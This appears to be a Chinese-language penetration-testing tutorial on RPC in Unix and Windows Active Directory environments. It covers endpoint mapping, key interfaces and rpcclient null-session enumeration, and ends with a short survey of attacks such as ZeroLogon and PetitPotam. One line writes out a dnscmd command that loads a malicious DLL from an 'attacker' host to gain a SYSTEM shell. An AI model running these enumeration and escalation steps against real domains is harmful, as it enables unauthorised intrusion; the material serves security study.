以渗透测试视角深入剖析 RPC 协议
远程过程调用(Remote Procedure Call,RPC)是一种允许程序在不同计算机上像调用本地函数一样执行代码的通信协议。它隐藏了底层网络细节(如 TCP/IP 打包、连接管理),极大简化了分布式系统开发。
在 Windows 环境中,RPC 实际通过几种不同的传输方式(transport)暴露出来,而最常见的“两扇大门”就是 135 和 139/445。
一、RPC 基础原理与端口机制
1. RPC 核心组件
- 客户端存根(Client Stub):序列化参数 → 网络请求
- 服务器存根(Server Stub):反序列化 → 调用真实函数 → 返回结果
- RPC 运行时:处理连接、超时、重传
- 端口映射器(Endpoint Mapper):将抽象的“程序号/UUID”映射到实际网络端口
2. 固定端口 vs 动态端口
| 系统 | 固定端口(映射器) | 动态端口范围(默认) | 典型用途 |
|---|---|---|---|
| Unix/Linux | 111 (rpcbind) | 1024–65535 | NFS、statd 等 |
| Windows | 135 (EPM) | 49152–65535 | SAMR、LSARPC、Netlogon 等 |
关键记忆点:
- 135 = “前台接待 / 总机”:问它“UUID 对应的服务在哪个房间?” → 它告诉你一个高位端口(如 49153)。
- 445 / 139 = “快递直达通道”:很多 RPC 接口直接封装在 SMB 命名管道(\pipe\lsarpc、\pipe\samr)里走,无需经过 135 查询,直接通过 IPC$ 共享调用。
3. 常见 RPC 传输方式对比
| 传输协议 | 端口 | 描述 | 渗透测试常见场景 |
|---|---|---|---|
| ncacn_ip_tcp | 135 + 动态 | 经典 TCP RPC | WMI、DCOM、AD 复制 |
| ncacn_np | 445(主)/139 | Named Pipes over SMB | 匿名/低权限枚举 SAMR、LSARPC |
| ncacn_http | 80/443 | RPC over HTTP(s) | Exchange Outlook Anywhere(较少初始打点) |
二、渗透测试中最常交互的 RPC 接口
| 接口简称 | 全称 / UUID 示例 | 主要功能 | 经典攻击用途 |
|---|---|---|---|
| SAMR | Security Account Manager Remote | 枚举用户、组、密码策略 | 域用户/RID 枚举、AS-REP Roasting 前置 |
| LSARPC | Local Security Authority (LSA) | 信任关系、SID 转换、权限查询 | 域信任判断、策略收集 |
| MS-RPRN | Print System Remote Protocol | 打印机操作 | PrinterBug / PrintNightmare 强制 NTLM |
| MS-TSCH | Task Scheduler Service | 远程计划任务创建/执行 | 横向移动(需较高权限) |
| MS-DRSR | Directory Replication Service | 域复制(DCSync) | 域控哈希同步提取 |
| Netlogon | Netlogon Remote Protocol | 域登录验证、信任建立 | ZeroLogon、PetitPotam 相关强制认证 |
快速记忆口诀:SAMR 数人头、LSARPC 查关系、RPRN 逼认证、TSCH 跑命令。
三、Active Directory 中的 RPC 核心作用
在 Windows Active Directory(AD) 环境中,RPC 被大量用于远程管理、信息查询、域复制、认证等核心功能。
AD 几乎所有跨机器协作都依赖 RPC:
- 域复制(Replication) → MS-DRSR over RPC
- 用户/计算机登录验证 → Netlogon RPC
- WMI 远程管理 → RPC + DCOM
- 组策略分发 → RPC 从 SYSVOL 拉取
- DNS 动态更新 & 插件加载 → RPC(DNSAdmins 提权经典路径)
典型通信流程(以用户认证为例):
- 客户端 → DC 的 135 端口(EPM)
- EPM 返回 Netlogon 接口的动态端口(如 49153)
- 客户端 → 动态端口 发送认证请求
- DC 验证后返回票据/会话密钥
四、实战枚举与工具链
4.1 Linux 侧(111 端口)
rpcinfo -p <target>showmount -e <target>→ 检查 NFS 共享- 批量:
for i in {1..254}; do rpcinfo -p 10.10.10.$i 2>/dev/null; done
4.2 Windows 侧(135 + 445)
- 匿名扫 135:
rpcdump.py/impacket-rpcmap - 走 445 命名管道(最常用):
rpcclient -U "" -N <target>- 进入交互模式后高频命令:
| 功能 | rpcclient 命令示例 | 说明 |
|---|---|---|
| 服务器基本信息 | srvinfo | 操作系统版本、域名等 |
| 枚举域用户 | enumdomusers | 列出所有域用户(RID) |
| 枚举域组 | enumdomgroups | 列出域组 |
| 查询单个用户详情 | queryuser 0x1f4 | RID 500 → Administrator |
| 查询域密码策略 | getdompwinfo | 密码长度、锁阈值等 |
| 枚举域信任 | enumtrusts | 信任域关系 |
| 查询显示信息 | querydispinfo | 所有账户的描述信息 |
| SID ↔ 用户名转换 | lookupnames administrator | 反查 SID |
推荐优先级:
- 有任意域用户凭据 →
rpcclient -U "dom/user%pass" - 能匿名访问 IPC$ →
rpcclient -U "" -N+ 上面命令 - 只开 135 →
rpcdump.py看暴露 UUID
五、经典 RPC 攻击技术速览
-
MS08-067(Conficker 蠕虫)
→ 老系统 RCE 神洞,Metasploit 一键。 -
PetitPotam / PrinterBug(强制 NTLM 认证)
→ 利用 MS-EFSRPC 或 MS-RPRN 接口,配合 Responder / ntlmrelayx 中继 → DCSync / AD CS 提权。 -
DNSAdmins DLL 加载提权
→ 需要 DNSAdmins 权限 →dnscmd /config /serverlevelplugindll \\attacker\mal.dll→ 重启 DNS 服务 → SYSTEM shell。 -
ZeroLogon(Netlogon CVE-2020-1472)
→ 重置域控计算机密码 → 接管域。
总结
Unix/Linux 生态:在 Unix/Linux 系统中,NFS(网络文件系统)、NIS(网络信息服务)等关键功能依赖 111 端口的 rpcbind 服务,通过其端口映射机制实现分布式通信。
Windows/AD 环境:在 Windows Active Directory 中,AD 复制、Netlogon、DNS 等核心服务以 135 端口的 RPC Endpoint Mapper 为枢纽,支撑起域环境的协同运作。
更多推荐



所有评论(0)